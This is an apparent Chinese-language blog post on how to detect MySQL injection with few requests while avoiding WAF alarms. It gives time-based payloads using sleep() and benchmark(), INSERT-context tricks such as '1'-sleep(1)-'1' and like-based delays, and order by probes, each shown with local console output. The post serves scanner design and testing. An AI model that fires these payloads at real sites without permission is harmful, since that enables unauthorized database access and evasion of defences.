MySQL注入检测

SQL 注入主要分两类,一类输入是字符型的,另一类输入是整数型的。在实际情况中,测试的站点可能存在waf,同时为了减少报警,尽量发送少的请求。为了达到这个效果,需要合理的规划发送的请求,而不是把payload一股脑的打出去。

一般来说,目标的输入可能是数字,可能是个字符串。输入是数字的时候对应查询的sql语句也可能以字符串的方式进行查询。

检测注入的流程可以根据测试的结果剪枝。基本流程为先检测报错注入,再测试基于时间的注入。一般来讲,如果有waf的话,基于时间的注入会被拦截。如果没有延时的话,说明要么不在运算语句中,要么被waf拦截了,要么不存在注入。接下来根据请求的stable情况以及原始请求是否为空,进行bool型注入判断以及其他位置的注入判断。

延时注入

延时注入能适用于输入作为值情况下的注入检测,在页面无明显报错的时候优先使用延时注入的方式进行检测。
延时注入一般有sleep和benchmark两种方式,这两种方式都能产生延时的效果,但是仍然有所差异。

sleep

sleep函数执行成功之后返回数字0。
在 and 语句中,只要有其中一个条件为假,sleep就不会执行。从实际的观察来看,sleep在各条件中的执行优先级最低。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
mysql> select 1 and sleep(1);
+----------------+
| 1 and sleep(1) |
+----------------+
| 0 |
+----------------+
1 row in set (1.07 sec)

mysql> select 0 and sleep(1);
+----------------+
| 0 and sleep(1) |
+----------------+
| 0 |
+----------------+
1 row in set (0.00 sec)

mysql> select 1 from users where sleep(1) and id=0;
Empty set (0.00 sec)

mysql> select 1 from users where sleep(1) and id=1;
Empty set (1.07 sec)

在 or 语句中,sleep的执行次数与当前列数相同,因为根据查询条件,每一列都会比较一次。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
mysql> select count(*) from users;
+----------+
| count(*) |
+----------+
| 9 |
+----------+
1 row in set (0.00 sec)

mysql> select 1 from users where id=0 or sleep(1);
Empty set (9.67 sec)

mysql> select 1 from users where sleep(1) or id=0;
Empty set (9.63 sec)

mysql> select 1 from users where sleep(1) or id=1;
+---+
| 1 |
+---+
| 1 |
+---+
1 row in set (9.51 sec)

为了防止 or 语句中的多次延时,可以使用 (select 1 from (select sleep(5))x) 的方式来避免执行多次。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
mysql> select 1 from users where id=1 or (select 1 from (select sleep(5))x);
+---+
| 1 |
+---+
| 1 |
| 1 |
| 1 |
| 1 |
| 1 |
| 1 |
| 1 |
| 1 |
| 1 |
+---+
9 rows in set (5.07 sec)

benchmark

benchmark的sleep的延时表现有所差异。
在 and 语句中,单纯select的时候是不会延时的,而在where语句中则会延时,即使部分条件明显为假。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
mysql> select 1 and benchmark(10000000,null);
+--------------------------------+
| 1 and benchmark(10000000,null) |
+--------------------------------+
| 0 |
+--------------------------------+
1 row in set (2.17 sec)

mysql> select 0 and benchmark(10000000,null);
+--------------------------------+
| 0 and benchmark(10000000,null) |
+--------------------------------+
| 0 |
+--------------------------------+
1 row in set (0.00 sec)

mysql> select 1 from users where benchmark(10000000,null) and id=1;
Empty set (2.17 sec)

mysql> select 1 from users where benchmark(10000000,null) and id=0;
Empty set (2.15 sec)

mysql> select 1 from users where benchmark(10000000,null) and 0=1;
Empty set (2.15 sec)

在 or 语句中,不会根据列数而多次延时。

1
2
3
4
5
6
7
8
9
10
mysql> select 1 from users where benchmark(10000000,null) or id=0;
Empty set (2.22 sec)

mysql> select 1 from users where benchmark(10000000,null) or id=1;
+---+
| 1 |
+---+
| 1 |
+---+
1 row in set (2.18 sec)

从上面可以看到,benchmark比sleep更加好用一些。但是benchmark无法精确的控制延时的时间。

INSERT 中的延时

在INSERT注入中,需要让延时语句参与运算。
对于预期为字符串类型的输入,如果直接用加减或者逻辑与或等操作,很可能会导致语句出错。可以考虑用数字类型的字符串,利用mysql的类型转换功能进行操作,或者用适用于字符串的操作如like

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
mysql> insert into users(username, isadmin)values('a'-sleep(1), 1);
ERROR 1292 (22007): Truncated incorrect DOUBLE value: 'a'

mysql> insert into users(username, isadmin)values('a' and sleep(1)='', 1);
ERROR 1292 (22007): Truncated incorrect DOUBLE value: 'a'

mysql> insert into users(username, isadmin)values('1'-sleep(1)-'1', 1);
Query OK, 1 row affected (1.07 sec)

mysql> insert into users(username, isadmin)values('aaa' like sleep(1)='', 1);
Query OK, 1 row affected (1.08 sec)

mysql> SELECT * FROM users where username='aa' like benchmark(10000000,null);
+-----------------------+---------+----+
| username | isadmin | id |
+-----------------------+---------+----+
| Herp Derper | 1 | 1 |
| SlapdeBack LovedeFace | 1 | 2 |
| Wengdack Slobdegoob | 0 | 3 |
| Chunk MacRunfast | 0 | 4 |
| Peter Weiner | 0 | 5 |
| aaa | 0 | 6 |
| 0 | 0 | 8 |
| 0 | 1 | 9 |
+-----------------------+---------+----+
8 rows in set, 6 warnings (3.82 sec)

结论

在测试延时注入的时候,尽量选择用benchmark函数。对字符类型的输入,用like语句进行延时判断,对数字类型的语句可以选择逻辑运算或者加减运算。

延时注入这一步可以检测出没有waf情况下的运算语句处的注入。经过这一步,后续只需要检测存在waf的情况下注入检测以及其他位置注入检测这两种情况。

bool注入

在测试完延时注入之后,用bool注入来检测存在waf的情况下运算语句位置的注入。

检测请求是否stable

响应中可能包含一些与时间有关的数据,以及类似 csrftoken 之类的hash,为了防止对判断的干扰,需要去掉这类的字符串。此外,用户的输入也可能回显在页面中,有的时候也需要将输入去除。
sqlmap 的方式是采用difflib.SequenceMatcher计算相同的比率,根据比率来判断网页是否相同。
AWVS 中是采用正则去除可能的时间戳,然后根据输入的长度来去除响应中的输入。
这两种方式都存在一些问题。在返回内容较短的情况下(如 ajax请求),计算比率会出现较大的误差。而AWVS的方式采用了写死的正则,不能保证去除所有的变化的内容。并且某些输入可能是一个常见的单词,强行替换可能会影响后续的响应比较。

最终还是选择采用 AWVS 的方式并做了一些优化。(其实可以在替换之后再计算相同的比率?)

检测原始请求是否为空

在原始请求从数据库获取数据为空的时候,就很难通过 bool 型注入进行注入点的判断。

检测请求为空时响应是否和出错时相同

在不同的情况下可以通过一些简单的运算以及强制类型转换的性质来判断出是否存在注入。

其他位置注入

limit 注入

在请求为空时采用延时注入判断,在有waf的情况下加注释符判断。

order by/group by/asc/desc 注入

1
2
3
order by username,1
order by username asc,1 正确
order by username asc,999 错误

最后附个脑图 MySQL注入检测

感谢雨大佬的指导~

分享到 评论